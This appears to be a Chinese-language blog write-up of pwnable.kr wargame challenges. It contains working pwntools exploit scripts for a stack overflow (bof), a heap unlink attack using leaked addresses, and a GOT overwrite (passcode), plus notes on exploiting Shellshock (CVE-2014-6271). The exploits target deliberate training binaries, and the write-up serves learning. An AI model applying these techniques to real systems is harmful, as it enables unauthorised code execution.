fd

fd是文件描述符,fd=0为标准输入

ssize_t read(int fd,void *buf,size_t nbyte)

read函数从fd中读取内容到buf。

col

构造命令行参数

from pwn import *

pwn_ssh = ssh(host='pwnable.kr',user='col',password='guest',port=2222)

code = '\xE8\x05\xD9\x1D'+'\x01'*16
cn = pwn_ssh.process(argv=['col',code],executable='./col')

print(cn.recv())

bof

通过栈溢出重写func函数的参数,需要覆盖的参数和gets接受的参数相差13字节:

脚本:

from pwn import *

debug=0

context(arch = 'i386', os = 'linux')

if debug:
    client=process("/home/apple/calc/test/bof.dms")
else:
    client=remote("pwnable.kr",9000)

#print client.recvuntil("overflow me :")

context=""
context+=p32(0xdeadbeef)*13
context+=p32(0xcafebabe)


client.sendline(context) 

client.interactive()
pause()

flag

看了半天不知道是咋回事,上网查了wp才知道是upx加壳

脱壳

//安装upx
sudo apt-get install upx
//脱壳
upx -d flag.dms

运行脱壳后的程序,flag就在main函数里

random

//源代码
#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}

就是猜这个随机数是什么呗,c的随机数其实是伪随机数,所以就写个小程序跑一下看 rand() 输出是啥,然后跟0xdeadbeef异或一下。

//flag
random@prowl:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

这周的期末考试刚考了unlink,所以看着这个眼熟就先拿来做做:)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

目测

题目构造了一个叫tagOBJ的数据结构和一个叫unlink的函数,还有一个叫shell()的函数用来获取sh权限。

漏洞点在于gets函数,可以通过构造gets的值,使得A溢出,覆写B、C的内容为特定值,unlink后运行shell()函数。

思路

咋构造呢

1.首先因为gets的是A->buf,所以只能覆写B、C的fd、bk,不能覆写A的。

2.然后再看看什么函数能被利用,没找到got表里的函数,看来只能利用return了

3.然后一句句看这个unlink函数

BK=P->bk;

所以要构造B的偏移4字节的位置为shell()函数的地址

FD=P->fd;

所以B的偏移0字节的位置为return的地址-4

FD->bk=BK;
return的地址处的内容改为shell()的地址

实现

首先找到main函数返回地址为0xffffd00c

shell函数的地址位于0x080484eb

运行过程中感觉内存分配跟我算的不太一样,于是一步步看内存分配

第一次malloc

malloc A

malloc B

malloc C

A <-> B <-> C链接完成后

gets()完后

所以因为内存对齐,buf并非占8个字节,而是16字节。

脚本0.0
from pwn import *

debug=1
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
    client=process("./unlink")
else:
    client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")

bin = ELF('./unlink')

context=""
context+="11111111"*2
context+=p32(0xffffd00c-4) #栈中的main返回地址-4
context+=p32(0x080484f1) #shell()地址


client.sendline(context)

client.interactive()
pause()

然而不行

借鉴

自己怎么想都感觉思路没问题,但是看了网上的wp才知道自己完全跑偏了。

首先,栈地址和堆地址都是随机的(可是gdb每次跑出来的都是一样的,给我一种它不会变的错觉),所以要通过偏移来算真正的地址(这就是题目里两句printf的作用,泄露了堆栈地址)。

其次,leave和return之间有一句 lea esp , [ecx - 4],而ecx是从leave上面那句 mov ecx , dword ptr [ebp - 4] 来的

然后return

A的栈地址是0xffffcfe4

和ebp-4相差16

脚本1.0

因为经过了一层ecx,所以应该为shell()的地址找一个存放它的地方,网上的wp是存在A里的,我就存在B里试试。

from pwn import *

debug=1
context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
if debug:
    client=process("./unlink")
else:
    client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")

#gdb.attach(client)


client.recvuntil("here is stack address leak: ");
stack =int( client.recv(10),16);
client.recvuntil("here is heap address leak: ");
heap = int(client.recv(10),16);

context=""

context+="1111"*4
context+=p32(stack+16-4)
context+=p32(heap+8+24+4)
context+=p32(0x080484eb) #shell() address
print(context)

client.sendline(context)

client.interactive()
pause()

一口气写完,居然就跑通了)

//flag
conditional_write_what_where_from_unl1nk_explo1t

现在回头看看第一版脚本,真是,幼稚又朴素啊。

思路1.1

做完之后在想我可不可以不借助堆,直接一步到位把shell地址填进去呢

调试后发现不行,错误出现在 unlink() 的 BK->fd=FD;,也就是说 shell() 所在的地址段是不可写的,所以程序运行不下去了。

看一下map,果然是不可写的。

问题

做完之后在思考一个很傻的问题,代码存的时候是按ABC的顺序存的,但是为什么栈里的却是ACB?嗯?是因为什么奇怪的编译吗?为什么啊

自己编译一遍试验一下,ABC却乖乖地排排队进栈了。

gcc -m32 unlink_test.c -o unlink_test

后记

期末考试虽然考了unlink,自己也感觉懂了其中的原理,但做起题来才感觉自己简直,对不住徐老师给的分,堆栈是随机分配的、内存对齐这些点都要注意,感觉自己缺了好多好多好多知识,哎,加油。

还有就是做这道题的两天里,我的ubuntu莫名崩了而且崩得稀碎,开机都开不起来了,于是从github重新上下载了一个,五颜六色的,比我之前自己配的那个还好看,算是塞翁失马。

passcode

//源代码

# include <stdio.h>

# include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

​    printf("enter passcode1 : ");
​    scanf("%d", passcode1);
​    fflush(stdin);

​    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
​    printf("enter passcode2 : ");
​    scanf("%d", passcode2);

​    printf("checking...\n");
​    if(passcode1==338150 && passcode2==13371337){
​                printf("Login OK!\n");
​                system("/bin/cat flag");
​        }
​        else{
​                printf("Login Failed!\n");
​        exit(0);
​        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

​    welcome();
​    login();

​    // something after login...
​    printf("Now I can safely trust you that you have credential :)\n");
​    return 0;    
}

目测

漏洞点在login函数里的两处scanf,这两处scanf都没有取参数地址。

思路

通过welcome函数里的scanf,在login函数的passcode1位置写入exit/fflush/任意一个用到的函数的got表的值,然后通过scanf将其覆写为/bin/cat flag的地址。

实现

/bin/cat flag的地址:

got表,打算利用最近的fflush函数,地址为0x0804a004:

定位password1的位置,位于welcome的name里第96字节处。

脚本1.0

根据以上思路构造以下脚本:

from pwn import *

debug=1
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
    client=process("/home/apple/calc/test/passcode")
else:
    client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")

print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")

context=""
context+="11111111"*12
context+=p32(0x0804a004)
client.sendline(context) 
#print client.recvuntil("enter passcode1 : \n")
context=""
context+=
client.sendline(context)
#print client.recvuntil("enter passcode2 : \n")

client.interactive()
pause()

就是跑不通,一度以为是参数没传进去:(

借鉴

在网上找了别人的wp,才发现关键在于passcode1是int类型,所以把passcode改为10进制才行。

脚本1.1

from pwn import *

debug=0
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
    client=process("/home/apple/calc/test/passcode")
else:
    client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")

context=""
context+="11111111"*12
context+=p32(0x0804a004)
client.sendline(context) 
#print client.recvuntil("enter passcode1 : \n")
context="134514147"
client.sendline(context)
#print client.recvuntil("enter passcode2 : \n")

client.interactive()
pause()

成功!

//flag
Sorry mom.. I got confused about scanf usage :(

改进

看别人的wp学到一种新操作,不用手查got表了

bin = ELF('./passcode')
cn.sendline('a'*96+p32(bin.got['fflush']))

脚本1.2

from pwn import *

debug=0
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
    client=process("/home/apple/calc/test/passcode")
else:
    client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")
bin = ELF('./passcode')
context=""
context+="11111111"*12
context+=p32(bin.got['fflush'])
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context="134514147"
client.sendline(context)
client.interactive()
pause()

思路2.0

本题有两处没有取参数地址的scanf,虽然只利用了第一处就可以把题目做出来了,但是出题人原本的意思可能是想让做题人将两个passcode都改为正确的值,然后成功通过判断语句拿到flag。

仔细算了一下,name位于ebp-0x70,而password1位于ebp-0x10:

password2位于ebp-0xc:

name有100(0x64)字节长,正好覆盖password1而覆盖不到password2。

所以俩scanf都用起来可能不太现实。

问题

不知道为什么脚本接受不到”enter you name : “以及之后的字符串,不过接受不到也不影响做题:)

leg

//源代码
#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push    {r6}\n"
    "add    r6, pc, $1\n"
    "bx    r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push    {r3}\n"
    "pop    {pc}\n"
    ".code    32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:    push    {r4, r11, lr}
   0x00008d40 <+4>:    add    r11, sp, #8
   0x00008d44 <+8>:    sub    sp, sp, #12
   0x00008d48 <+12>:    mov    r3, #0
   0x00008d4c <+16>:    str    r3, [r11, #-16]
   0x00008d50 <+20>:    ldr    r0, [pc, #104]    ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl    0xfb6c <printf>
   0x00008d58 <+28>:    sub    r3, r11, #16
   0x00008d5c <+32>:    ldr    r0, [pc, #96]    ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov    r1, r3
   0x00008d64 <+40>:    bl    0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl    0x8cd4 <key1>
   0x00008d6c <+48>:    mov    r4, r0
   0x00008d70 <+52>:    bl    0x8cf0 <key2>
   0x00008d74 <+56>:    mov    r3, r0
   0x00008d78 <+60>:    add    r4, r4, r3
   0x00008d7c <+64>:    bl    0x8d20 <key3>
   0x00008d80 <+68>:    mov    r3, r0
   0x00008d84 <+72>:    add    r2, r4, r3
   0x00008d88 <+76>:    ldr    r3, [r11, #-16]
   0x00008d8c <+80>:    cmp    r2, r3
   0x00008d90 <+84>:    bne    0x8da8 <main+108>
   0x00008d94 <+88>:    ldr    r0, [pc, #44]    ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl    0x1050c <puts>
   0x00008d9c <+96>:    ldr    r0, [pc, #40]    ; 0x8dcc <main+144>
   0x00008da0 <+100>:    bl    0xf89c <system>
   0x00008da4 <+104>:    b    0x8db0 <main+116>
   0x00008da8 <+108>:    ldr    r0, [pc, #32]    ; 0x8dd0 <main+148>
   0x00008dac <+112>:    bl    0x1050c <puts>
   0x00008db0 <+116>:    mov    r3, #0
   0x00008db4 <+120>:    mov    r0, r3
   0x00008db8 <+124>:    sub    sp, r11, #8
   0x00008dbc <+128>:    pop    {r4, r11, pc}
   0x00008dc0 <+132>:    andeq    r10, r6, r12, lsl #9
   0x00008dc4 <+136>:    andeq    r10, r6, r12, lsr #9
   0x00008dc8 <+140>:            ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:            ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:    andeq    r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:    add    r11, sp, #0
   0x00008cdc <+8>:    mov    r3, pc
   0x00008ce0 <+12>:    mov    r0, r3
   0x00008ce4 <+16>:    sub    sp, r11, #0
   0x00008ce8 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx    lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:    add    r11, sp, #0
   0x00008cf8 <+8>:    push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add    r6, pc, #1
   0x00008d00 <+16>:    bx    r6
   0x00008d04 <+20>:    mov    r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop    {pc}
   0x00008d0c <+28>:    pop    {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov    r0, r3
   0x00008d14 <+36>:    sub    sp, r11, #0
   0x00008d18 <+40>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx    lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:    add    r11, sp, #0
   0x00008d28 <+8>:    mov    r3, lr
   0x00008d2c <+12>:    mov    r0, r3
   0x00008d30 <+16>:    sub    sp, r11, #0
   0x00008d34 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx    lr
End of assembler dump.
(gdb) 

分析

scp居然下载不下来,看来只能瞪眼看了。

题目让key的值最终等于key1() key2() key3()这仨函数的返回值之和

key1

(ARM用r0传递返回值,pc指向当前指令(正在执行)+2*(指令长度)处)

返回值r0来自于r3

r3的值来自于pc

寄存器pc(r15)在arm状态下(指令长度为4,RISC等长指令集),总是指向当前指令(正在执行)+2*(指令长度)处,这里执行了0x00008cdc后,r3为0x00008ce4。

key2

(指令最后一位用于做标志位,bx跳转时if地址最后一位是0->arm状态(4字节指令),1->thumb状态(2字节指令))

r0来自于r3

r3 = pc(0x00008d08)+2*2=0x00008d0c

注意:

  1. key2+8处程序一开始保存了r6,则说明r6会被后面的指令用到。
  2. key2+12处r6变为0x00008d05。
  3. key2+16处bx跳转到key+20(指令地址会先和0xFFFFFFFE进行按位与,因为最后一位肯定是0,因此最后一位用于做标志位,bx执行时如果地址最后一位是0,表示跳到arm状态,1则跳到thumb态),因为地址最低位是1,所以切换为thumb状态。(thumb状态每条指令是2字节长,arm状态每条指令是4字节长)。
  4. 最后把r3给r0作为返回值,也就是0x00008d0c。此后通过bx跳回main(此前bl指令将pc-4存在lr中)时,状态又换为arm。
key3

(LR保存调用函数时PC下一次要执行的地址)

r0来自于r3

r3 来自于lr

此处lr是0x00008d7c <+64>: bl 0x8d20 <key3>处pc-4的地址0x00008d80

注意:

ARM是三级流水线的:取指,译码,执行。

ARM的R15(PC)总是指向取指的地方(不过分析时我们总是以执行作为分析参考点)。

而LR指向PC下一次要执行的地址

LR is link register used to hold the return address for a function call.

PC和LR关系如下图所示

key

0x00008d80+0x00008d0c+0x00008ce4=108400

学习

X86是复杂指令集(CISC)的代表,而ARM则是精简指令集(RISC)的代表

平时一般用的都是X86

但这些背是背不过了,还是考察搜索引擎的使用呗。

shellshock

//源代码
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

题目里写着

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

那你可赌输了:)

查资料

搜到一篇写得特别好玩的shellshock原理

做题

目录里有个bash,是要攻击的对象(做了半天才意识到这一点)

查看该bash的版本,正好是有漏洞的4.2版本

尝试一下,发现存在任意代码执行漏洞

执行cat flag,拿到flag

//flag
only if I knew CVE-2014-6271 ten years ago..!!

不过说实话,拿到flag后我也不知道这个flag是怎么拿到的。

在网上搜了一下suid euid ruid的知识,没找到写得明明白白的。

我理解的就是,如果这个文件的权限用s替代x的话,那么其他用户就可以 通过set suid的方式来获取该文件所有者的权限 / 通过set sgid的方式来获取该文件所在组的权限,并用获取的权限来执行文件。

对于本题来说,查看一下文件的权限,可以看到文件shellshock所在组的权限里有s。

然后回看代码

setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());

程序把该进程的ruid、euid、suid统统设成了getegid()也就是shellshock_pwn这个组的id,

而shellshock_pwn这个组对flag有read权限。

问题

按理说env和export应该都可以用来定义export的环境变量,但是实际上env并不可以

input

闯过五关即可拿到flag,五关分别为命令行参数、IO重定向、环境变量、文件读写、socket通信,学到了一些pwntools的操作。

process(argv=a,env=e,executable='/home/giantbranch/Q1IQ/pwnable/input',stdin=f,stderr=f1)#argv是元组,env是字典,不写executable的话会打开argv[0],stdin和stderr是文件描述符
#其中
a=['a',]
e={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}
f=open('./1.txt','r')

如何往pwnable的服务器上传文件

在pwnable服务器的/tmp里新建自己的文件夹

传文件

$ scp -P 2222 ./input.py input2@pwnable.kr:/tmp/q1iq

有了

但是要cat flag,我自己建的文件夹里哪有flag啊

所以要软链接一个过来

os.system("ln -s /home/input2/flag flag")

可了

mistake

运算符优先级的问题,比较运算符是高于赋值运算符的,所以源程序这一句实际上将0赋值给了fd,也就是标准输入

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

不过不同语言之间有差别,一般是 非 > 算术运算符 > 关系运算符 > 与 > 或 > 赋值运算符

coin1

二分法找一堆10里的一个9(跟pwn有啥关系)